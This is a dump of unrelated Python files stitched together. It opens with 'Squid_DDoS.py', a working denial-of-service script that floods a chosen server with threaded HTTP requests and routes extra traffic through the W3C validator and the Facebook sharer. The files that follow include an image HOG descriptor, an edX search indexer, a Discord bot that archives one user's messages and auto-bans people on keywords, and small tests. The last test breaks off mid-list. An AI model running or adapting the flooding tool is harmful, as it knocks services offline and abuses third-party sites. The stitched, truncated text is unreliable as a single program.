import urllib.request, random, socket, time, sys, threading, random, os
from queue import Queue
from optparse import OptionParser
def user_agent():
    global user_agents
    user_agents = ['Mozilla/5.0 (Amiga; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14',
                   'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15',
                   'Mozilla/5.0 (AmigaOS; U; AmigaOS 1.3; en; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14',
                   'Mozilla/5.0 (Android 2.2; Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4',
                   'Mozilla/5.0 (BeOS; U; BeOS BeBox; fr; rv:1.9) Gecko/2008052906 BonEcho/2.0',
                   'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.1) Gecko/20061220 BonEcho/2.0.0.1',
                   'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.10) Gecko/20071128 BonEcho/2.0.0.10',
                   'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.17) Gecko/20080831 BonEcho/2.0.0.17',
                   'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.6) Gecko/20070731 BonEcho/2.0.0.6',
                   'Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.8.1.7) Gecko/20070917 BonEcho/2.0.0.7']
    return user_agents
def get_bots():
	global bots
	bots=[]
	bots.append("http://validator.w3.org/check?uri=")
	bots.append("http://www.facebook.com/sharer/sharer.php?u=")
	return(bots)
def hammerbots(url):
    while True:
        req = urllib.request.urlopen(urllib.request.Request(url, headers={'User-Agent': random.choice(user_agents)}))
        print("[+] Bots Have Sent a Request to the Server.")
        time.sleep(0.1)
def req_ddos():
    while True:
        try:
            item = q2.get()
            hammerbots(random.choice(bots) + "http://" + host)
            q2.task_done()
        except:
            pass
def sockddos():
    while True:
        try:
            packet = str("GET / HTTP/1.1\nHost: " + host + "\n\n User-Agent: " + random.choice(user_agents) + "\n" + data).encode('utf-8')
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, int(port)))
            if s.sendto(packet,(host, port)):
                s.shutdown(1)
                print("[+] Successfully sent a request to the server.")
            else:
                s.shutdown(1)
                print("[+] Unsuccessful request.")
            time.sleep(0.1)
        except:
            print("[+] Server May Be Down!")
def sock_ddos():
    while True:
        try:
            item = q.get()
            sockddos()
            q.task_done()
        except:
            pass
def usage():
    print("   _____             _     _   _____  _____        _____        __   ___ ")
    print("  / ____|           (_)   | | |  __ \|  __ \      / ____|      /_ | / _ \ ")
    print(" | (___   __ _ _   _ _  __| | | |  | | |  | | ___| (___   __   _| || | | |")
    print("  \___ \ / _` | | | | |/ _` | | |  | | |  | |/ _  \___ \  \ \ / / || | | |")
    print("  ____) | (_| | |_| | | (_| | | |__| | |__| | (_) |___) |  \ V /| || |_| |")
    print(" |_____/ \__, |\__,_|_|\__,_| |_____/|_____/ \___/_____/    \_/ |_(_)___/ ")
    print("            | |                                                           ")
    print("            |_|                                                           ")
    print(" Script By DrSquid")
    print("[+] -s : Server to Target")
    print("[+] -p : Port to Attack(default is 80).")
    print("[+] -t : Amount of Threads(default is 123).")
    print("[+] -i : Getting the list of commands(displays this).")
    print("[+] Usage: python3 Squid_DDoS.py -s [servername] -p [port] -t [threadcount]")
    sys.exit()
    quit()
with open('headers.txt', 'w') as headers:
    lines = ['Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\n', 'Accept-Language: en-us,en;q=0.5\n', 'Accept-Encoding: gzip,deflate\n', 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n', 'Keep-Alive: 115\n', 'Connection: keep-alive']
    headers.writelines(lines)
    headers.close()
with open('headers.txt','r') as headers:
    data = headers.read()
    headers.close()
q = Queue()
q2 = Queue()
def get_args():
    global host
    global port
    global thr
    global item
    args = OptionParser()
    args.add_option("-s","--server",dest="host",help="[+] Server to Target.",)
    args.add_option("-p","--port",dest="port",type="int",help="[+] Port to Attack(default is 80).")
    args.add_option("-t","--threads",dest="thr",type="int",help="[+] Amount of Threads(default is 123).")
    args.add_option('-i','--info',dest="cmds",help="[+] Help.",action='store_true')
    options, arguements = args.parse_args()
    if options.cmds:
        usage()
    if options.host is None:
        usage()
    else:
        host = options.host
    if options.port is None:
        port = 80
    else:
        port = options.port
    if options.thr is None:
        thr = 123
    else:
        thr = options.thr
if __name__ == '__main__':
    os.system('cls')
    if len(sys.argv) < 2:
        usage()
    get_args()
    get_bots()
    user_agent()
    print("   _____             _     _   _____  _____        _____        __   ___ ")
    print("  / ____|           (_)   | | |  __ \|  __ \      / ____|      /_ | / _ \ ")
    print(" | (___   __ _ _   _ _  __| | | |  | | |  | | ___| (___   __   _| || | | |")
    print("  \___ \ / _` | | | | |/ _` | | |  | | |  | |/ _  \___ \  \ \ / / || | | |")
    print("  ____) | (_| | |_| | | (_| | | |__| | |__| | (_) |___) |  \ V /| || |_| |")
    print(" |_____/ \__, |\__,_|_|\__,_| |_____/|_____/ \___/_____/    \_/ |_(_)___/ ")
    print("            | |                                                           ")
    print("            |_|                                                           ")
    print(" Script By DrSquid")
    print(f"[+] Target IP: {host}")
    print(f"[+] Port: {port}")
    print(f"[+] Threads: {thr}")
    try:
        hostip = socket.gethostbyname(host)
    except:
        print("[+] Check Server IP.")
        usage()
    while True:
        for i in range(thr):
            ddos = threading.Thread(target=sock_ddos)
            ddos.daemon = True
            ddos.start()
            ddos2 = threading.Thread(target=req_ddos)
            ddos2.daemon = True
            ddos2.start()
        start = time.time()
        item = 0
        while True:
            if item > 1800:
                item = 0
                time.sleep(0.1)
            item += 1
            q.put(item)
            q2.put(item)
        q.join()
        q2.join()
else:
    print("[+] How did you get here?")


# from matplotlib import pyplot as plt
import math
import cv2
import numpy as np
import image_preprocessing

class hog_descriptor:
    """class of calculating hog and drawing gradient functions"""
    def __init__(self, img, cell_size, block_size, overlap_num, bin_num):
        self.img = img
        self.cell_size = cell_size
        self.block_size = block_size
        self.overlap_num = overlap_num # = block stride
        self.bin_num = bin_num
        # If overlap==0, then block_size would equal to cell_size.
    def hog(self):
        """
        Calulate gradients and magnitude of each pixels. Classify them by 8*8 cell.
        Parameters:
            self
        Returns:
            histogram with 9 bins of each cells.
        Raises:
        """
        img = self.img
        cell_size = self.cell_size
        gx = cv2.Sobel(img, cv2.CV_32F, 1, 0)
        gy = cv2.Sobel(img, cv2.CV_32F, 0, 1)
        mag, ang = cv2.cartToPolar(gx, gy, angleInDegrees=True)
        ang = ang % 180 # the range of angle = (0,179)
        histogram = []
        for i in range(0, int(img.shape[0]/cell_size)): #0~15
            for j in range(0, int(img.shape[1]/cell_size)): #0~8
                cell_angle = []
                cell_magnitude = []
                cell_angle.append(ang[i*cell_size : i*cell_size+cell_size, j*cell_size : j*cell_size+cell_size])
                cell_magnitude.append(mag[i*cell_size : i*cell_size+cell_size, j*cell_size : j*cell_size+cell_size])
                hist = self.cal_histogram(cell_angle[0], cell_magnitude[0])
                histogram.append(hist)
        histogram = np.array(histogram)
        return histogram

    def cal_histogram(self, cell_angle, cell_magnitude):
        """
        Calculate histogram.
        Parameters:
            param1 - cell_angle vector of the cell from hog function
            param2 - cell_magnitude vector of the cell from hog function
        Returns:
            return histogram of that cell
        Raises:
        """
        bin_num = self.bin_num
        orientation_centers = [0] * bin_num
        bin_size = int(180/bin_num)
        for k in range(cell_magnitude.shape[0]):
            for l in range(cell_magnitude.shape[1]):
                gradient_strength = cell_magnitude[k][l]
                gradient_angle = cell_angle[k][l]
                min_angle = int(gradient_angle / bin_size) # find the bin to add into
                max_angle = (int(gradient_angle / bin_size)+1) % bin_num # find the bin to add into
                mod = (gradient_angle-min_angle*bin_size)/bin_size # calculate the ratio of gradient_strength(=magnitude)
                orientation_centers[min_angle] += (gradient_strength * (1 - mod)) # ex: 25 degree will have 75% put into bin1
                orientation_centers[max_angle] += (gradient_strength * mod)       # and 25% put into bin2
        return orientation_centers

    def draw_gradient(self, histogram, hog_img):
        """
        Draw gradient on the original img.
        Parameters:
            param1 - All cells' histogram vector.
            param2 - original img
        Returns:
            img with graient lines
        Raises:
        """
        block_size = self.block_size
        hog_img = self.img
        overlap = self.overlap_num
        bin_num = self.bin_num
        cell_x_num = int((hog_img.shape[1]-overlap) / (block_size-overlap))
        cell_y_num = int((hog_img.shape[0]-overlap) / (block_size-overlap))
        x_center = 0
        y_center = 0
        for j in range(0, cell_y_num): #0~15 cell_y_num 0~14
            for i in range(0, cell_x_num): #0~7 cell_x_num 0~6
                x_center = int(block_size/2+i*(block_size-overlap))
                y_center = int(block_size/2+j*(block_size-overlap))
                for line in range(0, bin_num):
                    line_length = histogram[i+j*cell_x_num][line]
                    # if line_length<0.8: # Use it when calculating histograms by cv2
                    #     line_length = 0
                    # else:line_length = line_length*2
                    line_length = line_length*0.3 # Use it when calculating histograms by hog_descriptor.hog()
                                                       # bolt:*0.3, cat1:*0.0015
                    angle_rad = (line*20*np.pi) / 180
                    x_end = int(x_center - (line_length)*math.sin(angle_rad)) # Lines at left hand side
                    y_end = int(y_center - (line_length)*math.cos(angle_rad)) # Lines at left hand side
                    x_end_opposite = int(x_center + (line_length)*math.sin(angle_rad)) # Lines at right hand side
                    y_end_opposite = int(y_center + (line_length)*math.cos(angle_rad)) # Lines at right hand side
                    cv2.line(hog_img, (x_end, y_end), (x_end_opposite, y_end_opposite), (0, 0, 255), 1)
                    # 0 degree points to the top, and add degrees counterclockwise.
        cv2.imshow("hog_img", hog_img)
        cv2.waitKey(0)
        cv2.destroyAllWindows()
        return hog_img

if __name__ == '__main__':
    img_bolt = cv2.imread('./img/bolt2.png', 0)
    img_bolt = np.float32(img_bolt) / 255.0 # a way to normalize to 0~1
    img_bolt = image_preprocessing.gamma_transform(0.5, img_bolt)

    img_bolt = img_bolt[100:300, 200:300]
    img_bolt = cv2.resize(img_bolt, (64, 128))
    cv2.imshow("img_bolt", img_bolt)
    cv2.waitKey(0)
    cv2.destroyAllWindows()

    bolt_hog = hog_descriptor(img_bolt, 8, 8, 0, 9)
    bolt_hist = bolt_hog.hog()
    new_img = bolt_hog.draw_gradient(bolt_hist, img_bolt)

    new_img = cv2.normalize(new_img, None, alpha=0, beta=255, norm_type=cv2.NORM_MINMAX, dtype=cv2.CV_32F)
    # Since imwrite will output all black img with pixels in range 0~1,
    # we need to normalize it back to range 0~255
    cv2.imwrite('./img/gradient_output/bolt_calculate_myself.jpg', new_img)


import unittest, json
from classifurlr import run
from classifurlr.classifiers import *

FIXTURE_DIR = 'tests/fixtures/'
def test_result(session_filename):
    with open(FIXTURE_DIR + session_filename, 'r') as f:
        result = run(json.load(f))
    return result

class DifferingDomainTest(unittest.TestCase):
    def test_is_ip(self):
        d = DifferingDomainClassifier()
        self.assertTrue(d.is_ip('https://192.128.0.1:80'))
        self.assertFalse(d.is_ip('https://www.google.com'))

class StatusCodeTest(unittest.TestCase):
    def test_non_200(self):
        filename = '403.json'
        result = test_result(filename)
        self.assertTrue(result.is_down())
        self.assertTrue(result.get_constituents()[0].get_constituent_from(StatusCodeClassifier).is_down())

class InconclusiveFilterTest(unittest.TestCase):
    def test_seized_domain(self):
        filename = 'kickass.json'
        result = test_result(filename)
        self.assertTrue(result.is_inconclusive())

class BlockpageSignatureTest(unittest.TestCase):
    def test_redirects_to_different_domain(self):
        filename = 'lesbiansubmission.json'
        result = test_result(filename)
        self.assertTrue(result.is_blocked())

    def test_blocked_embed(self):
        filename = 'samurpress.json'
        result = test_result(filename)
        self.assertFalse(result.is_blocked())

if __name__ == '__main__':
    unittest.main()


"""
    A program index creator, support hot fix & displace index

    - Create a new program index
    - Link new index into ES Alias

"""
from __future__ import absolute_import

import logging
from time import strftime

from django.contrib.auth import get_user_model
from django.contrib.sites.models import Site
from search.search_engine_base import SearchEngine

from eventtracking import tracker
from opaque_keys.edx.keys import CourseKey
from openedx.core.djangoapps.catalog.models import CatalogIntegration
from openedx.core.djangoapps.models.course_details import CourseDetails
from util.programs import SiteProgramsLoader

log = logging.getLogger('edx.modulestore')

class ProgramESIndex(object):
    """Class to perform indexing for programs search
        or
        Add new document into Index by Alias Name.

        Usages:
            [Reindex all programs]:
                - Create a new program index with Current Datetime.
                - Link this new index with Alias `program_index`
                - Remove expired index from Alias `program_index`

                ProgramESIndex(specified_program_ids).run_hot_index()

            [Add new program data into Index with `Alias Name`]
                - Query Index name by `Alias Name`
                - Put new program data into That Index.

                ProgramESIndex(
                    specified_program_ids,
                    alias=ProgramESIndex.INDEX_ALIAS_NAME
                ).add_new_program(
                    {
                        "uuid": "36f090c1-a5f9-4d26-a87e-b0eb9da4d58c___abc_______4",
                        "language": "en-us",
                        "courses_count": 0,
                        "title": "barry_test_program_aaaaaaaaa___abc_______4",
                        "duration": 3600,
                        "type": "",
                        ...
                    }
                )

    """
    INDEX_ALIAS_NAME = "program_index"
    DOCUMENT_TYPE = "content"

    INDEX_EVENT = {
        'name': 'edx.program.index.reindexed',
        'category': 'program_index'
    }

    INDEX_MAPPING_SETTINGS = {
        "settings": {
            "analysis": {
                "analyzer": {
                    "partword": {
                        "type": "custom",
                        "tokenizer": "partword_tokenizer",
                        "filter": [
                            "lowercase"
                        ]
                    },
                    "case_insensitive_sort": {
                        "tokenizer": "keyword",
                        "filter":  ["lowercase"]
                    }
                },
                "tokenizer": {
                    "partword_tokenizer": {
                        "type": "nGram",
                        "min_gram": 1,
                        "max_gram": 50
                    }
                }
            }
        },
        'mappings': {
            DOCUMENT_TYPE: {
                'properties': {
                    'title': {
                        'type': 'string',
                        'analyzer': 'partword',
                        'fields': {
                            'raw_title': {
                                'type': 'string',
                                'analyzer': 'case_insensitive_sort'
                            }
                        }
                    },
                }
            }
        }
    }

    def __init__(self, specified_program_ids=None, alias=None, current_site_domain=None):
        """Program index maintainer.

            @param specified_program_ids:   program filters
            @type specified_program_ids:    list
            @param alias:                   index alias name of ES, the index name by alias
            @type alias:                    string
            @param current_site_domain:     site domain
            @type current_site_domain:      string
        """
        self._current_site_domain = current_site_domain
        self._specified_program_ids = set(specified_program_ids) \
            if specified_program_ids \
            else set({})

        if not alias:
            # Generate New Index name by current datetime.
            self._new_index_name = ProgramESIndex.INDEX_ALIAS_NAME + '_{}'.format(
                strftime('%Y%m%d%H%M%S')
            )       # Generate a new program index name (time related unique name)
        else:
            # Assign with `None`, Fetch Existed Index name by `alias`.
            self._new_index_name = None

        self._searcher = SearchEngine.get_search_engine(
            index=self._new_index_name,
            index_mappings=self.INDEX_MAPPING_SETTINGS,
            alias=alias
        )
        # Assign with new index name.
        self._new_index_name = self._searcher.index_name \
            if alias \
            else self._new_index_name

    @staticmethod
    def _gen_es_program_with_program_detail(program):
        """Convert program detail to ES program data format

            @param program:     program detail data which fetched from discovery service
            @type program:      dict
        """
        def _fetch_course_detail_ignore_exception(course_id):
            try:
                return CourseDetails.fetch(
                    CourseKey.from_string(course_id)
                ).vendor
            except Exception:
                return []

        course_tags = [] \
            if not program['courses'] \
            else \
            {
                tag
                for course in program['courses']
                for course_run in course['course_runs']
                for tag in _fetch_course_detail_ignore_exception(
                    course_run['key']
                )
            }
        course_tags = list(course_tags) \
            if isinstance(course_tags, set) \
            else course_tags

        return {
            'title': program['title'],
            'uuid': program['uuid'],
            'courses_count': len(program['courses']),
            'language': program['language'],
            'vendor': course_tags,
            'card_image_url': program['card_image_url'],
            'duration': program['duration'],
            'type': '' if not program['type'] else program['type'],
            'released_date': program['released_date'],
            'start': program['start'],
            'end': program['end'],
            'status': program['status'],
            'partner': program['partner'],
            'visibility': program['visibility']
        }

    def add_new_program(self, program_or_uuid):
        """Add new program record into ES.

            @param program:     `program detail data` OR `program uuid`
            @type program:      `dict` OR `string`
        """
        if isinstance(program_or_uuid, dict):
            # Add program data directly.
            self._searcher.index(
                self.DOCUMENT_TYPE, [program_or_uuid]
            )
        else:
            # Query by program uuid, then add into index.
            service_user = get_user_model().objects.get(
                username=CatalogIntegration.current().service_username
            )

            program = SiteProgramsLoader(
                service_user,
                current_site_domain=self._current_site_domain
            ).get_program_by_uuid_with_retry(
                program_or_uuid
            )

            self._searcher.index(
                self.DOCUMENT_TYPE,
                [self._gen_es_program_with_program_detail(program)]
            )

    def update_program(self, program_uuid):
        """Update program record of Indeex by `program uuid`

            @param program_uuid:     program uuid
            @type program_uuid:      string
        """
        self.delete_program(program_uuid)
        self.add_new_program(program_uuid)

    def delete_program(self, program_uuid):
        """Delete program record from ES index.

            @param program_uuid:     program uuid
            @type program_uuid:      string
        """
        response = self._searcher.search(
            doc_type=self.DOCUMENT_TYPE,
            field_dictionary={'uuid': program_uuid}
        )

        result_ids = [
            result['_id']
            for result in response['results']
        ]

        if result_ids:
            self._searcher.remove(self.DOCUMENT_TYPE, result_ids)

    @classmethod
    def _track_index_request(cls, event_name, category, indexed_count):
        """Track content index requests.

        Arguments:
            event_name (str):  Name of the event to be logged.
            category (str): category of indexed items
            indexed_count (int): number of indexed items
        Returns:
            None

        """
        data = {
            "indexed_count": indexed_count,
            'category': category,
        }

        tracker.emit(
            event_name,
            data
        )

    def get_index_name(self):
        """Return program index name

            Sample: `program_index_20210604090102`
        """
        return self._new_index_name

    def _get_all_programs_from_sites(self):
        """Return all programs from all sites (remove duplicated program)

            There is only 1 discovery service url of site provide programs data.
            But it's ok. We iterate from all sites
        """
        programs_of_sites = {}

        service_user = get_user_model().objects.get(
            username=CatalogIntegration.current().service_username
        )
        for site in Site.objects.all():
            # Should be only 1 discovery site. But here we check for all sites.
            site_config = getattr(site, 'configuration', None)
            if site_config is None or not site_config.get_value('COURSE_CATALOG_API_URL'):
                log.info('Skipping site {domain}. No configuration.'.format(domain=site.domain))
                continue

            try:
                site_programs = SiteProgramsLoader(
                    service_user,
                    site,
                    current_site_domain=str(site.domain)
                ).get_programs()

                log.info('Fetching data from site {domain}...'.format(domain=str(site.domain)))
                for uuid, program in site_programs.items():
                    if uuid not in programs_of_sites:
                        log.info(
                            r'Program: {}, title: {}'.format(
                                uuid,
                                unicode(program['title']).encode('utf-8')
                            )
                        )
                        programs_of_sites[uuid] = program
            except Exception as e:
                print(e)
                log.info('Failed to fetch data from {domain}'.format(domain=site.domain))

        return programs_of_sites

    def _create_new_index(self):
        """
            Create new program index.
            tracking the fact that a full reindex has taken place
        """
        indexed_count = 0
        programs_of_sites = self._get_all_programs_from_sites()

        programs = map(
            lambda p: self._gen_es_program_with_program_detail(p),
            (
                program
                for uuid, program in programs_of_sites.items()
                if uuid in self._specified_program_ids or not self._specified_program_ids
            )
        )
        self._searcher.index(self.DOCUMENT_TYPE, programs)

        if programs:
            self._track_index_request(
                self.INDEX_EVENT['name'], self.INDEX_EVENT['category'], len(programs)
            )

        return indexed_count

    def run_hot_index(self):
        """
        (Re)index all content within the given programs, tracking the fact that a full reindex has taken place
        """
        # Generate new program index
        log.info('creating new index...')
        self._create_new_index()

        # Displace alias's index with a new program index name
        # Return unlinked program index list which was linked with this Alias before.
        log.info('linking new index with alias...')
        existing_indexs = self._searcher.displace_index_to_alias(
            self._new_index_name,
            self.INDEX_ALIAS_NAME
        )

        # Delete expired program index from ES
        log.info('removing expired index...')
        for old_index in existing_indexs:
            self._searcher.remove_by_index_name(old_index)


"""
Saves anttuboy's messages in a data folder so that anttubott can use them. Can be easily edited to store other
user's messages and files; just edit ANTTU_IDS.

The messages are stored on data/anttuboy.json and the files are stored on data/anttubott/
"""

from __future__ import annotations
import asyncio
import discord
import os
import json
from dataclasses import field, dataclass, asdict
import re
from src.basemodule import BaseModule

ANTTU_IDS: list[int] = [424582449666719745, 295540519616905216, 660316187594457089]
# these words will trigger a ban if found in anttubott's messages
BAN_TRIGGERS: list[str] = ["bann", "Ban", "BAN", "vaan ban", "Pls ban", "ban Pliist", "ban Tulil", "confiremd ban",
                           "ban tälle", "tämä henkilö haluaa ban", "bänn", "Bän", "ja bän"]
# and they will be ignored if any of these is found in the messages
BAN_IGNORES: list[str] = ["BANNAA MUA", "voitko", "bannaa ny heti anttua", "bannaa @", "saanko luvan bännää",
                          "voidaanko", "voinko", "voisit vaa bänniä", "oisko", "haluutko", "haluatko", "ääntä",
                          "voiks", "tällä siin servus", "kannattaa", "keimo heimoa", "haluun sinulta bännit",
                          "nii voi olla helppo bänni", "luuletko", "Anna bännit", "Miks annat", "koita ite bännää",
                          "saanko luvan bännää"]

@dataclass
class Attachment:
    id: int
    filename: str

@dataclass
class Msg:
    id: int
    text: str
    attachments: list[Attachment] = field(default_factory=list)

    @classmethod
    def from_json(cls, json_data: dict) -> Msg:
        attachments: list[Attachment] = [Attachment(x.get('id'), x.get('filename')) \
                                         for x in json_data.get('attachments')]
        return cls(id=json_data.get('id'), text=json_data.get('text'), attachments=attachments)

    def to_json(self) -> dict:
        return asdict(self)

@dataclass
class Plugin(BaseModule):
    enabled: bool = True
    anttu_messages: list[Msg] = field(default_factory=list)
    increment: int = 0

    def __post_init__(self):
        if not os.path.exists(f'data/anttubott/'):
            os.mkdir(f'data/anttubott/')
        try:
            with open('data/anttuboy.json', 'r', encoding='utf-8') as f:
                messages: list[dict[str, int | str | dict]] = json.load(f)
                for message in messages:
                    self.anttu_messages.append(Msg.from_json(message))
        except FileNotFoundError:
            with open('data/anttuboy.json', 'w') as f:
                json.dump([], f)

    async def on_ready(self):
        pass

    def load_anttumessages(self):
        with open('data/anttuboy.json', 'r') as f:
            messages: list[dict[str, int | str | list]] = json.load(f)
            for message in messages:
                self.anttu_messages.append(Msg.from_json(message))

    def save_anttumessages(self):
        messages: list[dict[str, int | str | list]] = [x.to_json() for x in self.anttu_messages]
        with open('data/anttuboy.json', 'w', encoding='utf-8') as f:
            json.dump(messages, f, ensure_ascii=False, indent=4)

    async def anttubott_ban_triggers(self, message: discord.Message):
        # no one to ban
        if not message.mentions:
            return

        ban_trigger_found: bool = False
        for ban_trigger in BAN_TRIGGERS:
            if ban_trigger in message.content:
                ban_trigger_found = True
                break
        if not ban_trigger_found:
            return

        ban_ignore_found: bool = False
        for ban_ignore in BAN_IGNORES:
            if ban_ignore in message.content:
                ban_ignore_found = True
                break
        if ban_ignore_found:
            return

        mentioned: re.Match | None = re.search(r'<@.*>', message.content)
        if not mentioned:
            return
        target_user = self.bot.commands.get_target_user(mentioned.group(0))
        if not target_user:
            return

        if target_user.is_ban_protected(self.bot.config.IMMUNE_TO_BAN):
            await message.reply(self.bot.localizations.BAN_CANT_BAN.format(target_user.name))
            return

        target_discord_user: discord.User = self.bot.client.get_user(target_user.id)

        await message.channel.send(self.bot.localizations.ANTTU_BAN_ANNOUNCE.format(target_discord_user.mention))
        await asyncio.sleep(5)
        await message.channel.send(self.bot.localizations.BAN_ANNOUNCE_5S.format(target_discord_user.mention))
        await asyncio.sleep(5)
        reason: str = self.bot.localizations.ANTTU_BAN_REASON
        try:
            await target_discord_user.send(
                self.bot.localizations.BAN_DM.format(self.bot.config.DEFAULT_BAN_LENGTH_HOURS, reason)
            )
        except discord.Forbidden:
            print(f"Error! Can't send user {target_discord_user.name} DM!")
        try:
            await message.guild.ban(target_discord_user, reason=reason, delete_message_days=0)
            await message.channel.send(
                self.bot.localizations.BAN_CHANNEL_ANNOUNCE.format(target_user.name,
                                                                   self.bot.config.DEFAULT_BAN_LENGTH_HOURS,
                                                                   reason, message.author.mention))
        except discord.Forbidden:
            print(f"Error! Can't ban user {target_discord_user.name}")
            await message.channel.send(self.bot.localizations.BAN_CANT_BAN.format(target_user.name))

    @staticmethod
    def is_anttuboy(id: int) -> bool:
        return id in ANTTU_IDS

    async def on_message(self, message: discord.Message):
        if not self.is_anttuboy(message.author.id):
            if message.author.id == 623974457404293130:
                await self.anttubott_ban_triggers(message)
            return
        if message.channel.id not in self.bot.config.LEVEL_CHANNELS:
            return

        await self.save_message(message)

        self.increment += 1
        if self.increment // 10:
            self.increment = 0
            self.save_anttumessages()

    async def save_message(self, message: discord.Message):
        attachments: list[Attachment] = []
        for attachment in message.attachments:
            await attachment.save(f'data/anttubott/{attachment.id}_{attachment.filename}')
            attachments.append(Attachment(attachment.id, attachment.filename))
        self.anttu_messages.append(Msg(message.id, message.content, attachments))

    async def refresh_anttumessages(self):
        messages: list[dict[str, int | str]] = self.bot.database.get_messages_by_user(ANTTU_IDS)
        saved_messages: list[int] = [x.id for x in self.anttu_messages]
        message_ids: list[int] = [x['id'] for x in messages]
        i: int = 0
        async for msg in self.bot.server.get_channel(self.bot.config.CHANNEL_GENERAL).history(limit=20000000):
            if not self.is_anttuboy(msg.author.id) and msg.id not in message_ids:
                continue
            await self.save_message(msg)
            i += 1
            print(i, msg.content)

        async for msg in self.bot.server.get_channel(self.bot.config.CHANNEL_GENERAL2).history(limit=20000000):
            if not self.is_anttuboy(msg.author.id) and msg.id not in message_ids:
                continue

            await self.save_message(msg)
            i += 1
            print(i)

        self.save_anttumessages()


'''
Author: Reid Dye

a palindrome checker
'''

#import block
from graphics import *
from Button import Button

###* create all objects
#make window
win=GraphWin('palindrome checker', 600, 220)

#instructions for above the text box
instructions=Text(Point(300, 25), 'Please Present Possibly Pithy Palidrome Proposals Promptly:')
instructions.draw(win)

#text box
e=Entry(Point(300, 50), 50)
e.draw(win)

#output/result message
result=Text(Point(300, 90), '_')

#the three buttons
quitB=Button(win, Point(150, 150), 100, 30, 'Quit')
tryAgain=Button(win, Point(300, 150), 100, 30, 'Try Again')
test=Button(win, Point(450, 150), 100, 30, 'Test')

#activating them (except tryAgain because it shouldnt be activated)
quitB.activate()
test.activate()

#init a tracker for how many times the user has failed in a row
failsInARow=0

###* Main loop
while True:
    '''
    pseudocode:

    wait for test to be clicked and for there to be text in the box
    deactivate test, activate tryAgain, clear entry box
    then check if its a palindrome and display the result
    if it's not a palindrome then add one to failsInARow

    wait for tryAgain to be clicked
    activate test, deactivate tryAgain, erase message
    '''
    #get first mouse click
    p=win.getMouse()
    if quitB.clicked(p): #quit functionality
        exit()
    elif test.clicked(p):
        inputString=e.getText()
        if inputString=='':
            continue #we can do this instead of a smaller loop because there's nothing outside of this main if statement (nothing that *must* run every loop)
        inputString=inputString.lower() #get rid of captials

        #iterate through the input and replace anything that's not a-z with a ?
        for c in inputString:
            if 97<=ord(c)<=122: #97 is 'a' and 122 is 'z'
                pass
            else:
                # we must do this instead of just removing the char because the for loop works based on the
                # index in the string so if we take out characters then it might skip some while looping
                inputString=inputString.replace(c, '?')

        #remove all the ?s
        inputString=inputString.replace('?', '')

        isPalindrome = inputString==inputString[::-1] #actually check if it's a palendrome

        #set the result text and show the result
        result.setText(f"{e.getText()} {'is' if isPalindrome else 'is not'} a palindrome")
        result.draw(win)

        #add to fails counter if needed
        if isPalindrome:
            failsInARow=0
        else:
            failsInARow+=1

        #set button activation
        #trying the property() function, seems pretty cool
        #flexibility of setting instance vars, with more input validation!
        #* test.act, tryAgain.act = False, True
        #unfortunately that's a little harder to read
        #so I'll just stick with this
        test.deactivate()
        tryAgain.activate()

        #if the user's bad
        if failsInARow==3:
            break

        #wait for the try again button (or quit button) to be clicked
        while True:
            p=win.getMouse()
            if quitB.clicked(p):
                exit()
            elif tryAgain.clicked(p):
                break

        #reset stuff
        test.activate()
        tryAgain.deactivate()
        result.undraw()
        e.setText('')

#if the user failed three in a row, then do all of this

#failed message
Text(Point(300, 115), 'You have failed 3 attempts in a row.  Please quit.').draw(win)

#deactivate everything except quit
tryAgain.deactivate()
test.deactivate()

#wait for quit button to be clicked
while True:
    p=win.getMouse()
    if quitB.clicked(p):
        exit()


from cv2 import cv2
import time
from PIL import ImageGrab as ig
import numpy as np
from vidTrack5 import Tracker
import serial
import time

dur         = 1
threshold 	= 90
maxVal		= 100
minArea 	= 1000
maxArea     = 4000

# Initial calibration period
def cal(Tracker, minArea, maxArea):
    input("Open camera software but do not add fly to video")
    print("Calibration starting")

    time.sleep(.5)
    print("3")
    time.sleep(.5)
    print("2")
    time.sleep(.5)
    print("1")
    time.sleep(.5)

    var    = True
    while var:
        neutAr = []

        for i in range(3):
            count  = 0
            img = ig.grab()
            img = np.array(img)

            val  = Tracker.getContours(img)

            for c in val:
                area = cv2.contourArea(c)
                if area < maxArea and area > minArea:
                    count = count + 1

            neutAr.append(count)
            #cv2.imshow("ye", img )
        c0 = neutAr[0]
        c1 = neutAr[1]
        c2 = neutAr[2]
        print(c0, c1, c2)

        if c0 == c1 and c1 ==c2:
            nC  = c1
            var = False

    print("Calibration compleate")
    input("Hit enter/space, then start recording. Hit same button to end.")
    return nC #[(nC-10), (nC+1)]

def check(Tracker, nC, minArea, max):

    img   = ig.grab()
    #img.show()
    #print("shown")
    frame = np.array(img)
    c     = 0

    contours = Tracker.getContours(frame)

    #time.sleep(.5)

    for i in range(len(contours)):
        #------ Basic Declarations ---------------------

        p         = contours[i]
        #desired area
        area      = cv2.contourArea(p)

        #-------------------------------------------------

        #------- Contour Calculations --------------------

        if area >= minArea and maxArea <= maxArea:

            c = c +1

            # #make rotating boxes around points
            # rect = cv2.minAreaRect(p)
            # box	 = cv2.boxPoints(rect)
            # box  = np.int0(box)

            # #put the box onto the original frame
            # cv2.drawContours(frame, [box], 0, (0,255,0), 2)

            # cv2.imshow("message", frame)
            # if cv2.waitKey(1) == 27:
            #    input()

    print(c)
    return c


from pytest import approx

from autoevals.number import NumericDiff
from autoevals.string import LevenshteinScorer

def test_levenshtein():
    cases = [
        ("", "", 1),
        ("", "a", 0),
        ("a", "", 0),
        ("a", "a", 1),
        ("a", "b", 0),
        ("ab", "ac", 0.5),
        ("ac", "bc", 0.5),
        ("abc", "axc", 0.66667),
